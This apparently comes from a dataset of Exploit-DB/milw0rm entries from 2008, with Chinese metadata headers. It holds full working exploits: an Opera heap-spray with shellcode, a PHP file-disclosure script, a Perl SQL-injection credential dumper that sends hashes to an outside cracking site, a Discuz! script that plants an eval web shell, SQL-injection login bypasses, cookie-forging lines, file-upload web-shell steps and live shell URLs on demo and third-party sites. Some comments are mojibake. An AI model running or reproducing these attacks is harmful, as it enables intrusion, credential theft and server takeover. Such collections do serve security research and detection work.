QLWD/code_shield huggingface dataset:
标题: Opera 9.62 - 'file://' Local Heap Overflow EDB-ID: 7135 CVE: 2008-5680 2008-5178 类型: LOCAL 平台: WINDOWS 发布日期: 2008-11-17 漏洞利用脚本: <html>
<head><title>uh?</title></head>
<body>
<script>

 
 // k`sOSe 11/15/2008
 // tested on Windows XP SP3, opera 9.62 international version
 // vulnerability found by send9

 // there are many ways to achieve code execution, tons of function pointers to overwrite.
 // maybe there's one more reliable...

 var i=0;
 
 // push es, pop es
 var block = unescape("%u0607%u0607"); 

 // metasploit WinExec c:\WINDOWS\system32\calc.exe
 var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");

 while (block.length < 81920) block += block;
 var memory = new Array();
 for (;i<1000;i++) memory[i] += (block + shellcode);


 var evil = "file://";

        for(var i = 0; i<16438; i++)
                evil += "X";

 evil += "R."; 

 window.location.replace(evil);

</script>

</body>
</html>

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7135
标题: Minigal b13 - Remote File Disclosure EDB-ID: 7130 CVE: 2008-6933 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-15 漏洞利用脚本: <?php 
set_time_limit(0);
function find_pass($data){
         $pass = explode('$adminpass = "',$data);
         if($pass[1]!=""){
            echo("Vuln exploited enjoy !\n");
            sleep(1);    
            echo("Admin hash == [".substr($pass[1],0,32)."]\n");
         }
         else{ 
             echo("Exploit failed!!!!");
         }
}               
function __send($pack,$host,$port){
        $ret = "";
        $desc = fsockopen($host,$port,$errno, $errstr, 30);
        if(!$desc){ 
           echo("Socket say:($errno).[$errstr]"); 
           return;
           }
           echo("Sending payload !!\n");
           fwrite($desc,$pack);
           while(!feof($desc)){
                $ret.=fgets($desc);   
           }
        fclose($desc);  
        find_pass($ret);
        flush();
}           

echo("\n=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n".
     "+       MiniGal b13 Source Code Disclosure       +\n".
     "+               Alfons Luja                      +\n".
     "+  --------------------------------------------  +\n".
     "+       Usage poc.php path host port             +\n".
     "+    ex: poc.php /press/ wwww.doda.net.pl 80     +\n".
     "+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=\n");
     
if($argc<3){ die("Path - host - Port - comprendo ?"); }

$path = $argv[1];
$host = $argv[2];
$port = $argv[3];

$packet = "GET ".$path.base64_decode("aW5kZXgucGhwP2xpc3Q9Li4vc2V0dGluZ3MucGhwJTAwIEhUVFAvMS4x")."\r\n";
$packet .= "Host:".$host."\r\n";
$packet .= "Keep-Alive: 300\r\n";
$packet .= "Connection: keep-alive\r\n\r\n";
echo("\nConnecting to $host\n");
__send($packet,$host,$port);

?>         

# milw0rm.com [2008-11-15] URL: https://www.exploit-db.com/exploits/7130
标题: TurnkeyForms - Text Link Sales Authentication Bypass EDB-ID: 7118 CVE: 2008-6963 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-14 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 Turnkeyforms Text Link Sales Auth Bypass Vulnerability
==============================================================================

 [Â»] Script:             [ Turnkeyforms Text Link Sales ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://www.turnkeyforms.com/text-link-sales.html ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 13.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ DTLZ ]===
 
 [!] here we go...
 [Â»] http://localhost/[paht]/admin.php

 
 
===[ LIVE ]===

 [Â»] http://demo.turnkeyforms.com/textlinkads/admin.php
 
 
 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7118
标题: SlimCMS 1.0.0 - 'edit.php' SQL Injection EDB-ID: 7121 CVE: 2008-5491 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-14 漏洞利用脚本: #!/usr/bin/perl

=starting

 --------------------------------------------------------
 SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit
 --------------------------------------------------------
 by athos - staker[at]hotmail[dot]it
 
 download on sourceforge 
 
 
 File edit.php
 
 111. if ($password == md5($_POST['password']))
 112. {
 113.    if (strlen($_POST['cmsText']) > 2) {
 114. $query  = "UPDATE pages SET title = '".$_POST['pageTitle']."', content =  '".
      strip_tags(stripslashes($_POST['cmsText']),$allowedTags)."' WHERE ID = ".$_GET['pageID'];
 115. mysql_query($query);
 116. //$successfulyUpdated
 117. responseText = $successfulyUpdated;
 118. }
 119.
 120. if (strlen($_GET['pageID']) > 0) {
 121. $query  = "SELECT * FROM pages WHERE ID = ".$_GET['pageID'];
 122. $result = mysql_query($query);
 123.
 124.    
 125. while($row = mysql_fetch_array($result)) {
 126. $pageTitle = $row['title'];
 127. $pageContent = $row['content'];
 128.  }
 129. }
 
 NOTE: Works Regardless PHP.ini Settings!
 
  
  you must be logged..
  
  Usage: perl "exploit.pl" [HOST] [username:password] [USER_ID]
  
  Output: Username: athos
          Password: 27e43424d53719a645ae7cca038b45be
 
 

=cut

use strict;
use LWP::UserAgent;
use LWP::Simple;

my $match = q{Editing page "(.+?)"};
my $http = new LWP::UserAgent; 
my $post = undef;
my @login = ();
my @out = ();

my ($host,$auth,$myid) = @ARGV;

unless($host =~ /http:\/\/(.+?)$/i && $auth && $myid)
{
    print STDOUT "Usage: perl $0 [host/path] [username:password] [id]\r\n"; 
    exit;
} 

$host .= "/edit.php?pageID=-1 union select 1,concat(username,0x3a,password),3,4 from users where id=$myid#";

@login = split(':',$auth);

$post = $http->post($host,[ 
                            username => $login[0],
                            password => $login[1],
                         ]);


if($post->is_success && $post->content =~ $match) 
{
    @out = split(':',$1);
   
    if($#out => 2)
    {
        my $cracked = search_MD5($out[1]);
        
        print STDOUT "Username: $out[0]\r\n";
        print STDOUT "Password: $out[1] -> $cracked\r\n";
        exit;  
   }
   else
   {
       print STDOUT "Exploit Failed!\r\n";
       print STDOUT "Login incorrect or site not vulnerable\\available!\r\n";
       exit;
   }
}


sub search_MD5
{
    my $hash = shift @_;
    my $cont = undef;

    $cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
        
    if(length($hash) => 32 && !is_error($cont))
    {
        return $cont;
    }
    else
    {
        return exit;
    }
}   
    
__END__

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7121
标题: Bankoi Webhost Panel 1.20 - Authentication Bypass EDB-ID: 7120 CVE: 2008-6950 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-14 漏洞利用脚本: [~] Bankoi Webhost Panel 1.20 (Auth Bypass)
[~]
[~] ----------------------------------------------------------
[~] author: R3d-D3v!L
[~]
[~] Date: 15.11.2008
[~]
[~] Home: www.ahacker.net
[~]
[~] contact: N/A
[~]
[~] -----------------------------------------------------------


[~] Exploit:

username: r0' or ' 1=1--
password: r0' or ' 1=1--


[~] admin login for demo:

http://demo.webhost-panel.com:8077/login.asp

username: r0' or ' 1=1--
password: r0' or ' 1=1--

[~]--------------------------------------------------------------------------------
[~] Greetz tO:dolly & maxmos & hesham_hacker & m4n0n & k374 & hi4alex & xp10_hacker
[~]
[~] xp10.biz & ahacker.net
[~]
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7120
标题: BandSite CMS 1.1.4 - Insecure Cookie Handling EDB-ID: 7113 CVE: 2008-5497 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-13 漏洞利用脚本: ###########################################################################
[+] BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability
[+] Discovered By Mountassif Moad                   
[+] www.v4-team.com                     
[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "login_auth=true; path=/";

# milw0rm.com [2008-11-13] URL: https://www.exploit-db.com/exploits/7113
标题: Pi3Web 2.0.3 - 'ISAPI' Remote Denial of Service EDB-ID: 7109 CVE: 2008-6938 类型: DOS 平台: WINDOWS 发布日期: 2008-11-13 漏洞利用脚本: Pi3Web ISAPI DoS vulnerability
 
Discovered by: Hamid Ebadi
CSIRT Team Member
Amirkabir University CSIRT Laboratory (APA Laboratory)
 
autcert@aut.ac.ir
 
 
Introduction
Pi3Web is a free, multithreaded, highly configurable and extensible HTTP server and development environment for cross platform internet server development and deployment. Pi3web is vulnerable to a denial of service (DoS) vulnerability whenever an invalid ISAPI module is requested from server.
 
Vulnerable version
Pi3Web <=2.0.3
 
Vulnerability
By requesting the following URL from pi3web the server crashes:
http://WEB_SITE/isapi/users.txt
 
EnhPi3.exe -Bad Image
The application or DLL c:\Pi3Web\Isapi\users.txt is not a valid Windows image. Please check this against your installation diskette The vulnerability is caused.
 
The crash is due to insufficient checks for incoming requests. Whenever a file in ISAPI directory, which is not a valid DLL is requested, the server tries to load it into memory as a DLL library and a crash happens.
 
Workaround
Before an official patch is released, use one of the following workarounds to mitigate the problem:
 
1. Disable ISAPI mapping in server configuration in Server Admin > Mapping Tab.
2. Delete the users.txt, install.daf and readme.daf in ISAPI folder.
 
 
Credit
This vulnerability has been discovered by Hamid Ebadi from Amirkabir university CSIRT laboratory.
 
autcert@aut.ac.ir
https://www.ircert.cc

# milw0rm.com [2008-11-13] URL: https://www.exploit-db.com/exploits/7109
标题: Discuz! 6.x/7.x - Remote Code Execution EDB-ID: 7119 CVE: 2008-6958 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-14 漏洞利用脚本: #!/usr/bin/php
<?php
/**
 * Discuz! 6.x/7.x SODB-2008-13 Exp
 * By www.80vul.com
 * æ–‡ä»¶ä¸­æ³¨é‡Šçš„å˜é‡å€¼è¯·è‡ªè¡Œä¿®æ”¹
 */
$host = 'www.80vul.com';
// æœåŠ¡å™¨åŸŸåæˆ–IP
$path = '/discuz/';
// ç¨‹åºæ‰€åœ¨çš„è·¯å¾„
$key  = 0;
// ä¸Šé¢çš„å˜é‡ç¼–è¾‘å¥½åŽï¼Œè¯·å°†æ­¤å¤„çš„å€¼æ”¹ä¸º1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
     exit("ä¸“ä¸šç‚¹å¥½ä¸,å…ˆçœ‹çœ‹é‡Œé¢çš„æ³¨é‡Š -,-\n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
    exit("å“¦,å¤§æ¦‚æ˜¯æ²¡æœ‰å¼€å¯WAPæ³¨å†Œå§ -,-\n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
    exit("å¥½äº†,åŽ»çœ‹çœ‹ä½ çš„WebShellå§:\t$shell\né‡Œé¢çš„ä»£ç æ˜¯:\t<?eval(\$_POST[c])?>\nåˆ«å‘Šè¯‰æˆ‘ä½ ä¸ä¼šç”¨ -,-\n");
else
    exit("å—¯,å¤§æ¦‚æ˜¯è¯¥ç½‘ç«™ä¸å­˜åœ¨æ¼æ´ž,æ¢ä¸€ä¸ªå§ -,-\n");

function send()
{
    global $host, $path, $url, $cmd;

    $data = "POST ".$path."wap/index.php  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Referer: http://$host$path\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Connection: Close\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7119
标题: Alstrasoft Web Host Directory 1.2 - Multiple Vulnerabilities EDB-ID: 7116 CVE: 2008-5650 2006-6819 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-14 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 AlstraSoft Web Host Directory v1.2 Multiple Vulnerabilities
==============================================================================

 [Â»] Script:             [ AlstraSoft Web Host Directory v1.2 ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://alstrasoft.com/webhost.htm ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 14.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ DTLZ ]===
 
 [0] Insecure Cookie Handling
    
  [!] admin Auth bypass, panel => http://localhost/[paht]/admin/
  [Â»] javascript:document.cookie = "adm=1";
  
  [!] users Auth bypass
  [Â»] javascript:document.cookie = "logged=[username]";
   javascript:document.cookie = "logged=g4n0k";
  
 
 
 [1] Arbitrary Database Backup
  
  [!] we can download a Backup of Database.
  [Â»] http://localhost/[paht]/admin/backup/db
 

 
 [2] SQLi Auth Bypass
  
  [Â»] Username : [a_valid_username]
  [Â»] Password : ' OR ' 1=1--
  

===[ LIVE ]===

 [Â»] http://www.hyperstop.com/demo/webhost/
  username: testtest
  password: ' OR ' 1=1--
  
  javascript:document.cookie = "logged=testtest";

  
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7116
标题: ScriptsFeed (SF) Real Estate Classifieds Software - Arbitrary File Upload EDB-ID: 7110 CVE: 2008-6944 2008-6943 2008-6942 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-13 漏洞利用脚本: [~] ScriptsFeed (SF) Real Estate Classifieds Software Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 13.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 39
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

http://localhost/script/re_images/[id]_logo_your_shell.php

you register to site 

register: http://localhost/script/register.php

after you login to site

login: http://localhost/script/login.php

more after you go profile edit

profile: http://localhost/script/profile.php

and you upload your_shell.php right click to your logo and select properties copy link

paste your explorer go your_shell.php

your_shell.php path:

http://localhost/script/re_images/[id]_logo_your_shell.php



rfu for demo:

user: zorlu

passwd: zorlu1

shell path:

http://www.scriptsfeed.com/demos/realtor_web_6/re_images/1226595925_logo_c.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-13] URL: https://www.exploit-db.com/exploits/7110
标题: ScriptsFeed (SF) Recipes Listing Portal - Arbitrary File Upload EDB-ID: 7112 CVE: 2008-6944 2008-6943 2008-6942 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-13 漏洞利用脚本: [~] ScriptsFeed (SF) Recipes Listing Portal Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 13.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 39
[~]
[~] my target bug number: 100
[~]
[~] dork: allinurl:"recipedetail.php?id="  ( Ã§ok site var sÃ¶mÃ¼rÃ¼n : ) )
[~]
[~] -----------------------------------------------------------


Exploit:

http://localhost/script/pictures/[id]your_shell.php

you register to site 

register: http://localhost/script/register.php

after you login to site

login: http://localhost/script/login.php

more after you click to "Add a Recipe" and add recipe

and after click to "View your Recipes" click to you recipe open new page 

right click to your photo. select properties copy photo lick

and paste your explorer go your shell

your_shell.php path:

http://localhost/script/pictures/[id]your_shell.php



rfu for demo:

user: zorlu

passwd: zorlu1

shell path:

http://www.scriptsfeed.com/demos/recipes_website_1/pictures/1226598339c.php



example 2: 

user: zorlu

passwd: zorlu1

shell:

http://onlineyemektarifi.com/pictures/1226598952c.php? ( hemen indexlemeyin kurcalayIn serverI )

misal:

http://onlineyemektarifi.com/pictures/1226598952c.php?act=ls&d=%2Fetc%2Fvdomainaliases ( server daki siteler )


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-13] URL: https://www.exploit-db.com/exploits/7112
标题: X7 Chat 2.0.5 - Authentication Bypass EDB-ID: 7123 CVE: 2008-6964 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-14 漏洞利用脚本: [~] Powered By X7 Chat 2.0.5 auth bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 14.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 42
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

username: ZoRLu or anything write

password: ' or ' 1=1--


login for demo:

http://x7chat2demo.hostx7.com/

username: ZoRLu

password: ' or ' 1=1--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7123
标题: TurnkeyForms Text Link Sales - 'id' Cross-Site Scripting / SQL Injection EDB-ID: 7124 CVE: 2008-5487 2008-5486 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-14 漏洞利用脚本: [~] turnkeyforms Text Link Sales Remote Sql inj & xss
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 14.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 43
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit: sql inj

http://localhost/script/admin.php?a=users&id=[SQL]


[SQL]

999+union+select+1,user(),database(),version(),5,6,7--


sql for demo:

http://demo.turnkeyforms.com/textlinkads/admin.php?a=users&id=999+union+select+1,user(),database(),version(),5,6,7--


xss:

http://demo.turnkeyforms.com/textlinkads/admin.php?a=users&id="><script>alert()</script>

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7124
标题: ScriptsFeed (SF) Auto Classifieds Software - Arbitrary File Upload EDB-ID: 7111 CVE: 2008-6944 2008-6943 2008-6942 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-13 漏洞利用脚本: [~] ScriptsFeed (SF) Auto Classifieds Software Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 13.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 39
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

http://localhost/script/cars_images/[id]_logo_your_shell.php

you register to site 

register: http://localhost/script/register.php

after you login to site

login: http://localhost/script/login.php

more after you go profile edit

profile: http://localhost/script/profile.php

and you upload your_shell.php right click to your logo and select properties copy link

paste your explorer go your_shell.php

your_shell.php path:

http://localhost/script/cars_images/[id]_logo_your_shell.php



rfu for demo:

user: zorlu

passwd: zorlu1

shell path:

http://www.scriptsfeed.com/demos/auto_classifieds_1/cars_images/1226597431_logo_c.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-13] URL: https://www.exploit-db.com/exploits/7111